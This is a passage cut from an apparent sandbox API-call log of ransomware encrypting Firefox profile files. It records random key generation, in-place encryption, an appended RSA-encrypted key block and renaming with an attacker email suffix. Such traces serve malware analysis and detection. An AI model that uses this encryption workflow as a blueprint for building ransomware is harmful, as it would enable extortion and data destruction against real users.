pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.391] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.391] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="sh5s9snTETcNDssy5uuq1d4G7psTORF/NVC9HcXsI+9z86Vc/M6mg7bYfIk42AC7\nkI1r7OzMOXYa7USBS7be77VCS/htQ2ZAF5+nXSYVHm/kvtCfMgYGfTc5I8BQCOrS\nnMa+QyU688fN67+Gngp7CSGvIIk6phE1P+gQkDBuq4dZYcn0qVmhbmFVM2nwUDFb\npoIBhYEYY7QzrRelFQsLOGeWoHe5ZAEzpqLVuT+6N6EBNEz+CXjU7uhz3D9FCuis\nVJQEP7VkEfXCxoZ+gwm0faCs7zj3uW789NYkjlhc2LTHSbE+Tvl4HHcDsMULme3z\nnF7D+I9M5RIZx950+RkOAw==\n", pcchString=0x2e3f9a8) returned 1 [0241.391] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.391] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.391] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.392] CloseHandle (hObject=0x1a54) returned 1 [0241.392] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.393] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.393] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset", dwFileAttributes=0x80) returned 1 [0241.394] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.394] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.394] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e405a0, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e405a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.395] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.395] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e404f8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e404f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.395] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.395] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.395] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.396] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.396] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.396] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.396] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="HhNFxI2WhANk5OG4KffGUUKdcrwGm/ab5ahI87+OxkrsghetpDybJwJ8BpRk/pEL\nWPtO58tBAS3IMTgkRAefgbDdf+GLN0pTR+HUKgQt0PVwGhEbwgEJP/7L+WwIzlOQ\nJfwJ3OGyoM5imApzap+s+2btgoFKhvS5zQrvnWxjnD6VI7heswNCjn3gEIKskhb/\nx3IUBHd7kWMNyo/C8DiSYdp7wJO9pAAThBorsX/Hz+7nB+Yd33A0H10G6o4Jzbk1\nYJXwTsntRP5VEtBPBhFytgf8sy5c+nl6x8k8yQtQD0SmVnsbAIBCqIdjwqX/icKI\n1R9I5SY9kvrK5l6wCd04gg==\n", pcchString=0x2e3f9a8) returned 1 [0241.396] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.396] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.396] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.396] CloseHandle (hObject=0x1a54) returned 1 [0241.396] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-malware-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.398] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.398] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.399] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.400] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0241.400] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.401] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.401] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.401] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0241.401] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.401] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.401] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.401] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.401] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.401] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="wKF6/mkSq0NQolPIslxzh1uJ6oxc3K/k1UTS14/r1UUtclV2PgQrwHfnDAw1ew87\n9gXmasQJdsmsC5ghqyYEfGZsCiSdyurDvHm8F701fJni0jJ5YxtXkNoZcwvxqWfG\nqrkEeDsYPBJtatqaG4dbz2/K/srSCHaaHsnnHuI6mYblBUgzJGR1tTL74wANh3KO\navm8DPVwUAFfnnaLqsxrm9yh9veo/xkO4cdQ7ORSYxMyzdv4GhpIFPjHKvpf1P7G\nHHkkBoRHCyZc1BqPDLpHmCbQvqmWGwiRNn1VeU5YLPaZWxQICY0o2tMHGUyyO5Dy\nUO2yyd0YA1KHYUSiEN6FdQ==\n", pcchString=0x2e3f9a8) returned 1 [0241.401] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.402] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.402] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.402] CloseHandle (hObject=0x1a54) returned 1 [0241.402] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.404] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.404] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset", dwFileAttributes=0x80) returned 1 [0241.404] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.405] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.405] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40438, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40438*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.406] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.406] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e404b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e404b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.406] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.406] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.406] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.406] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.406] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.406] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.406] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="39rpZuRNVyy1hNDZ5jp0gz27HsnjeIbapTxKnm2FyNBUqXT/ELCTe3q4/1yGJPmT\nAv9JinvQDKZ8ZszjVQ4FMiwO2M9XHiAyv+JENEO6rJg9a/h0Uaj0dvUc5NCEpTYO\na7MSjdDoYPWTjyF75pxqC3ZOakZC3OkopAAXST5ns+Er3f7p9l6B5BoBFPiCZqOF\nUkoSkjBJHGgJBDKmcpkENl9VLqAwD0CZhMk+y0a/g4e/44jJmA73LA93Gw0MvuyW\nTB2hOqH5fn+4m+CPZWwPbxlZGFXfvPDmPgRu+HpxNzSiqrqKrdGsYRuc0sXC4o7D\nsV5hcHNKABcmutePrt5lQg==\n", pcchString=0x2e3f9a8) returned 1 [0241.406] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.406] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.406] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.407] CloseHandle (hObject=0x1a54) returned 1 [0241.407] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashsubdoc-simple.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.643] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.643] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore", dwFileAttributes=0x80) returned 1 [0241.666] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.667] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0241.667] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.668] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.668] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0241.668] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0241.668] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.668] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.668] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.668] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.668] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.668] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="lZhzaYCGEYIPoDZ3hcSg9n7NksacDTY9dAblnHR0i1TpusD0C9JwHmiPdp+CGcdv\n02476G4m17JrYeqVxH7uH8q1RpyCxez7iAQpIx2Ufbv15yhVjhDbciqTkCGqMe+3\nMWS3/mye+NzolBgthhRrJNnCsQc/zqhU0u5CtJjG8/WcbIxOBAPjd3pvQRc6ijw8\nANNB7dbQtWBqHHfcDW1p0l+2cb+4aJMswcf1TXdRntaVoUGuc57sfzw2/zi/CHy9\nG20zrXw+X1Qz5SOoS7D+xBbyHEu8AwQ199r7DhGRcqRErGYSA31pln4ejSUDJKeo\nSK1+0XfEj5mGV18txduqBg==\n", pcchString=0x2e3f9a8) returned 1 [0241.668] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.669] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.669] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.669] CloseHandle (hObject=0x1a54) returned 1 [0241.670] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.671] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0241.671] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset", dwFileAttributes=0x80) returned 1 [0241.672] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\test-flashallow-simple.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0241.673] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0241.673] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40528, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40528*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.674] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0241.674] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40540*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40540*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0241.674] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0241.674] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.674] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.674] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0241.674] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0241.674] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0241.674] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2PTxdcDEH+OZ9B/BJ/i9GOw3nKD5FDMYFey4xw0xhSru5vQdHN1Vb6102erIaG/D\noUhsVLnBD2HvQOcmvOpQppuWeg2w++yQVXySKYBa4XIBsQW3cR95r2oeD88Gcpl6\nACw2/+kPWGOq+dmBD7xwNEZpZMfJvqHwmmzCDZqmliOz7tT51SNGEIiz4DKcXOiP\ncSulyPjwbuCzAsvihx0Z/6+EGQ3DezmTXAnjV8J7+iaAGPFKK1k8Cnrlw/UPF8xq\nHxNvGg1gj+O45Z9ScwGNFi1GxrXYaNNT27hlN7NvtUJ5jkWKwzy77XaU8008TPiB\nuUhTcjJhUi5cA6E1WhrqkA==\n", pcchString=0x2e3f9a8) returned 1 [0241.674] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 